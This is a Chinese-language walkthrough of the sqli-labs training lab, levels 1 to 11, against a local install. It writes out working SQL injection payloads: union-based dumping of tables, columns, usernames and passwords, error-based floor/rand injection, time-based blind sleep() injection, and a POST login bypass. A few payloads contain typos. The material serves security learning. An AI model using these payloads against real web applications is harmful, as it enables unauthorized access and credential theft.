sql-labs详细解题过程
前言
学习SQL注入之前必须要有扎实的SQL语言基础,详细可见博客SQL学习,这里我会介绍在sql-labs中使用到的sql语句。
1.查询数据库的信息:select schema_name from information_schema.schemata
2.查询表的信息:select table_name from information_schema.tables where table_schema='securty(表名)'
3.查询列的信息:select column_name from informaion_schema.columns where table_name='表名'
4.查询字段:select username,password from security.users
字符串连接函数:
1.concat(字符串1,字符串2) --没有分隔符的连接字符串
2.concat(-/~,字符串1,字符串2) --含有分隔符的连接字符串
3.group_concat(字符串1,字符串2) --连接一个组的所有字符串,并用,分隔每一个字
less1~less4
预备知识
这四关均为SQL注入中的联合注入,联合注入的核心是利用union的特性。
1、UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
2、UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
3、只有在前一条查询语句为假时,它才会去执行后一句SQL查询语句
less1
在url输入http://127.0.0.1/sqli/Less-1/?id=1
回显正常
http://127.0.0.1/sqli/Less-1/?id=1’
回显出错
http://127.0.0.1/sqli/Less-1/?id=1"
单引号出错,双引号正常,字符型注入,查看源码
可见本关通过’$id’的方式包裹
通过order by猜测列数
http://127.0.0.1/sqli/Less-1/?id=1’ order by 4–+
没有第四列
有第三列
http://127.0.0.1/sqli/Less-1/?id=1’ order by 3–+由此可见,列数为三,下面查看显示位
http://127.0.0.1/sqli/Less-1/?id=-1 union select 1,2,3 --+
为什么这里是?id=-1?因为union只有在前一条语句为假时才会执行后一条
由此可见2、3为显示位
爆破当前数据库
http://127.0.0.1/sqli/Less-1/?id=-1 union select 1,database(),3 --+
爆破表
http://127.0.0.1/sqli/Less-1/?id=-1_ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security” --+
下一步爆破列
http://127.0.0.1/sqli/Less-1/?id=-1_ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=“users”–+
最后爆破字段
http://127.0.0.1/sqli/Less-1/?id=-1_ union select 1,group_concat(username),group_concat(password) from users --+
less2
首先判断它是什么类型的注入
http://127.0.0.1/sqli/Less-2/?id=1%27
报错
http://127.0.0.1/sqli/Less-2/?id=1 and 1=1
http://127.0.0.1/sqli/Less-2/?id=1 and 1=2
没有回显,确认是数字型注入
查看源码
其包裹类型为$id,其余步骤与第一题相同
less3
不是单引号闭合
http://127.0.0.1/sqli/Less-3/?id=1 and 1=1 --+
http://127.0.0.1/sqli/Less-3/?id=1 and 1=2 --+1=1 以及 1=2 无变化,说明不是数字型注入
由报错信息可得是括号的问题
审源码
包裹类型(‘id’),其余步骤与less1相同
less4
http://127.0.0.1/sqli/Less-4/?id=1"
报错发现是括号,利用闭合
127.0.0.1/sqli/Less-4/?id=1") --+
审查源码
包裹类型为("$id"),其余步骤与上面一致
less5-less8
预备知识
一、 burp suite的使用
二、报错注入–floor推荐博客mysql报错注入
less5
本关与之前几关大不相同,这里是报错注入,利用回显的报错信息进行注入。
打开题目,利用之前的方法可判断这里是字符型单引号
不同的是没有回显
第一步,爆数据库名:?id=-1’ union select 1,count(*),concat(database(),’;'floor(rand(0)*2))x from information_schema.tables group by x; --+
第二步,爆注册表:?id=-1’ union select 1,count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=“security” limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
第三步,注某张表的字段,这里以users为例:?id=-1’ union select 1,count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=‘users’ limit 1,1),floor(rand(0)2))x from information_schema.tables group by x; --+
第四步,注字段的username值,这里以users为例:?id=-1’ union select 1,count(),concat((select concat (username,’;’) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
第五步、注字段的password,这里以users表为例:?id=-1’ union select 1,count(*),concat((select concat(password,’;’) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
less6
判断是不是数字型注入
http://127.0.0.1/sqli/Less-6/?id=1 and 1=1 与 http://127.0.0.1/sqli/Less-6/?id=1 and 1=2 无区别,排除数字型
没有反应,尝试双引号,原因是闭合方式不是单引号
http://127.0.0.1/sqli/Less-6/?id=1 " --+
发现可以,说明本关是双引号包裹类型的,又因为没有回显位,所以是报错注入,其余步骤与上一题相同
less7~less8
本关是利用一句话木马,在这里不多做赘述,详细可见一句话木马,这里存在一个问题就是最新版本的phpstudy无法实现这个漏洞。
less9~less10
预备知识
时间注入:通过返回时间的长短来判断条件的正确性进而进行获取敏感信息的SQL注入。一般有两种方式使数据库进行延时。一是直接让数据库进行时间操作,二是让数据库进行其他操作如编码,加密等间接的达到延时的目的。这种注入太依赖条件判断后的执行,所以如果if和case when语句被过滤了基本就没希望了。如果有其他类型的注入就用其他的,时间注入在别无选择时可以试一试。
less 9
无论怎么注入都没有变化,考虑时间盲注
http://127.0.0.1/sqli/less-9/?id=1andsleep(5)–+
http://127.0.0.1/sqli/less-9/?id=1%27%20and%20sleep(5)%20–+
存在明显延迟,可判定这是字符型单引号包裹
一、爆破数据库长度了,这里推荐使用burp suite
利用burp对长度进行猜测爆破
二、爆破数据库名:?id=1’ and if(left(database(),1)=‘s’ ,sleep(5),1)–+
三、爆表:?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),5)=‘users’ ,sleep(5),1)–+
通过limit x,1 中x的变化,我们找到了users表
四、定向找username和password
?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit x,1),8)=‘password’ ,sleep(5),1)–+
五、爆值
?id=1’ and if(left((select password from users order by id limit x,1),4)=‘dumb’ , sleep(5), 1) --+
less 10
与less9相似,只是包裹方式是双引号
less11~less
预备知识
1、hackbar的使用
2、http传参方式
less11
本关与之前大不相同,这是一个输入框且传参方式使用的是post,利用万能密码尝试一下:admin’ or 1=1#
发现登录成功,但是只有一个账号和密码,接下来使用hackbar
然后判断有几列:uname=admin’ order by 3#&passwd=456&Submit=Submit
uname=admin’ order by 2#&passwd=456&Submit=Submit
由此可判断出有两行,查询回显位
发现有两位,接下来的步骤与之前less1一致,在此就不多做赘述。